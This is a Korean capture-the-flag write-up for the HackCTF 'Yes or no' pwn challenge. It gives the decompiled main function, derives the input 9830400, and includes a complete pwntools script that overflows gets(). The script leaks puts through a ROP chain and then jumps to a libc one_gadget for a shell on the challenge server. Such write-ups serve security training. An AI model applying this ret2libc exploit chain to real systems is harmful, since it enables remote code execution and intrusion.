[HackCTF]Yes or no
문제 의도는 그냥 ++전에 오는지 후에 오는지로 값 어떻게 나오는지 알아서 값을 맞춰주도록 해서 취약점으로 유도하는게 의도였던거 같다. 문제 서버는 ubuntu 18.04다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // ecx
int v6; // eax
int v7; // eax
char s; // [rsp+Eh] [rbp-12h]
int input; // [rsp+18h] [rbp-8h]
int v11; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v11 = 5;
puts("Show me your number~!");
fgets(&s, 10, stdin);
input = atoi(&s);
if ( (v11 - 10) >> 3 < 0 )
{
v4 = 0;
}
else
{
v3 = v11++;
v4 = input - v3;
}
if ( v4 == input )
{
puts("Sorry. You can't come with us");
}
else
{
v5 = 1204 / ++v11;
v6 = v11++;
if ( input == v6 * v5 << (++v11 % 20 + 5) )
{
puts("That's cool. Follow me");
gets(&s);
}
else
{
v7 = v11--;
if ( input == v7 )
{
printf("Why are you here?");
return 0;
}
puts("All I can say to you is \"do_system+1094\".\ngood luck");
}
}
return 0;
}
입력한 숫자 정수형을 바꿔서 취약점 터지는 부분에 가게 하면 된다.
if ( input == v6 * v5 << (++v11 % 20 + 5) )
{
puts("That's cool. Follow me");
gets(&s);
}
취약점은 여기에서 터진다. 그래서 input값을 구해주면 된다.
그냥 c로 짜서 나온 결과 가져왔다. 결과는 9830400
이면 통과해서 gets(&s)
로 갈 수 있게된다.
그래서 9830400
들어가서 gets로 ret 바꿔서 puts leak하고 main으로 돌려서 oneshot 날려주면 된다. 그냥 문제에 라이브러리도 줘서 쉽게 풀었다.
exploit.py
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
e = ELF('./yes_or_no')
# p = process('./yes_or_no')
p = remote('ctf.j0n9hyun.xyz',3009)
libc = ELF('./libc-2.27.so')
prdi = 0x0000000000400883 # pop rdi ; ret
p.sendlineafter('!\n',str(9830400))
payload = '\x90' * 0x12
payload += 'realsung'
payload += p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts'])
payload += p64(e.symbols['main'])
p.sendlineafter('me\n',payload)
libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
p.sendlineafter('!\n',str(9830400))
payload2 = '\x90' * 0x12
payload2 += 'realsung'
payload2 += p64(libc_base + 0x45216)
p.sendlineafter('me\n',payload2)
p.interactive()